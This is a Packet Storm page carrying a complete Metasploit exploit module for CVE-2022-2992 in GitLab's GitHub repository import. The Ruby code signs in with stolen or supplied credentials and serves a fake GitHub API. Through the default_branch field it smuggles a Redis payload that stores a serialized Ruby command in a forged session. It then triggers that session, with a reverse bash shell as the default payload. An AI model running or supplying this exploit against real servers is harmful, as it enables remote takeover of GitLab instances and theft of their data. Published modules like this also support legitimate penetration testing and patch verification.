Lucene search

K
packetstormHeyder Andrade, William Bowling, RedWay Security, metasploit.comPACKETSTORM:171008
HistoryFeb 15, 2023 - 12:00 a.m.

GitLab GitHub Repo Import Deserialization Remote Code Execution

2023-02-1500:00:00
Heyder Andrade, William Bowling, RedWay Security, metasploit.com
packetstormsecurity.com
191
gitlab
github
repo import
deserialization
rce
authentication
redis
serialization
remote code execution
vulnerability
command injection
security advisory
metasploit

0.028 Low

EPSS

Percentile

90.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
include Msf::Exploit::Git::SmartHttp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Remote::HTTP::Gitlab  
include Msf::Exploit::RubyDeserialization  
  
attr_accessor :cookie  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',  
'Description' => %q{  
An authenticated user can import a repository from GitHub into GitLab.  
If a user attempts to import a repo from an attacker-controlled server,  
the server will reply with a Redis serialization protocol object in the nested  
`default_branch`. GitLab will cache this object and  
then deserialize it when trying to load a user session, resulting in RCE.  
},  
'Author' => [  
'William Bowling (vakzz)', # discovery  
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module  
'RedWay Security <https://infosec.exchange/@redway>', # PoC  
],  
'References' => [  
['URL', 'https://hackerone.com/reports/1679624'],  
['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC  
['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],  
['CVE', '2022-2992']  
],  
'DisclosureDate' => '2022-10-06',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),  
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),  
OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),  
OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])  
]  
)  
deregister_options('GIT_URI')  
end  
  
def group_name  
@group_name ||= Rex::Text.rand_text_alpha(8..12)  
end  
  
def api_token  
@api_token ||= gitlab_create_personal_access_token  
end  
  
def session_id  
@session_id ||= Rex::Text.rand_text_hex(32)  
end  
  
def redis_payload(cmd)  
serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)  
gitlab_session_id = "session:gitlab:#{session_id}"  
# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)  
# The command set  
# The gitlab session to load the payload from  
# The Payload itself. A Ruby serialized command  
"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"  
end  
  
def check  
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie  
  
vprint_status('Trying to get the GitLab version')  
  
version = Rex::Version.new(gitlab_version)  
  
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (  
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||  
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||  
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))  
)  
  
report_vuln(  
host: rhost,  
name: name,  
refs: references,  
info: [version]  
)  
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError  
return CheckCode::Detected('Could not detect the version because authentication failed.')  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e  
return CheckCode::Unknown("#{e.class} - #{e.message}")  
end  
  
def cleanup  
super  
return unless @import_id  
  
gitlab_delete_group(@group_id, api_token)  
gitlab_revoke_personal_access_token(api_token)  
gitlab_sign_out  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e  
print_error("#{e.class} - #{e.message}")  
end  
  
def exploit  
if Rex::Socket.is_internal?(srvhost_addr)  
print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")  
end  
  
setup_repo_structure  
start_service({  
'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req)  
end,  
'Path' => '/'  
}  
})  
execute_command(payload.encoded)  
rescue Timeout::Error => e  
fail_with(Failure::TimeoutExpired, e.message)  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set  
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie  
vprint_status("Session ID: #{session_id}")  
vprint_status("Creating group #{group_name}")  
# We need group id for the cleanup method  
@group_id = gitlab_create_group(group_name, api_token)['id']  
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id  
@redis_payload = redis_payload(cmd)  
# import a repository from GitHub  
vprint_status('Importing a repository from GitHub')  
@import_id = gitlab_import_github_repo(  
group_name: group_name,  
github_hostname: get_uri,  
api_token: api_token  
)['id']  
  
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id  
# wait for the import tasks to finish  
select(nil, nil, nil, datastore['IMPORT_DELAY'])  
# execute the payload  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, group_name),  
'method' => 'GET',  
'keep_cookies' => false,  
'cookie' => "_gitlab_session=#{session_id}"  
})  
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e  
fail_with(Failure::Unknown, "#{e.class} - #{e.message}")  
end  
  
def setup_repo_structure  
blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"  
blob_data = Rex::Text.rand_text_alpha(5..12)  
blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)  
  
tree_data =  
{  
mode: '100644',  
file_name: blob_object_fname,  
sha1: blob_object.sha1  
}  
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)  
  
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)  
  
git_objs = [ commit_obj, tree_object, blob_object ]  
  
@refs =  
{  
'HEAD' => 'refs/heads/main',  
'refs/heads/main' => commit_obj.sha1  
}  
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)  
end  
  
# Handle incoming requests from GitLab server  
def on_request_uri(cli, req)  
super  
headers = { 'Content-Type' => 'application/json' }  
data = {}.to_json  
case req.uri  
when %r{/api/v3/rate_limit}  
headers.merge!({  
'X-RateLimit-Limit' => '100000',  
'X-RateLimit-Remaining' => '100000'  
})  
when %r{/api/v3/repositories/(\w{1,20})}  
id = Regexp.last_match(1)  
name = Rex::Text.rand_text_alpha(8..12)  
data = {  
id: id,  
name: name,  
full_name: "#{name}/name",  
clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"  
}.to_json  
when %r{/\w+/public.git/info/refs}  
data = build_pkt_line_advertise(@refs)  
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })  
when %r{/\w+/public.git/git-upload-pack}  
data = build_pkt_line_sideband(@packfile)  
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })  
when %r{/api/v3/repos/\w+/\w+}  
bytes_size = rand(3..8)  
data = {  
'default_branch' => {  
'to_s' => {  
'bytesize' => bytes_size,  
'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"  
# using a simple string format for RESP  
}  
}  
}.to_json  
end  
send_response(cli, data, headers)  
end  
end  
`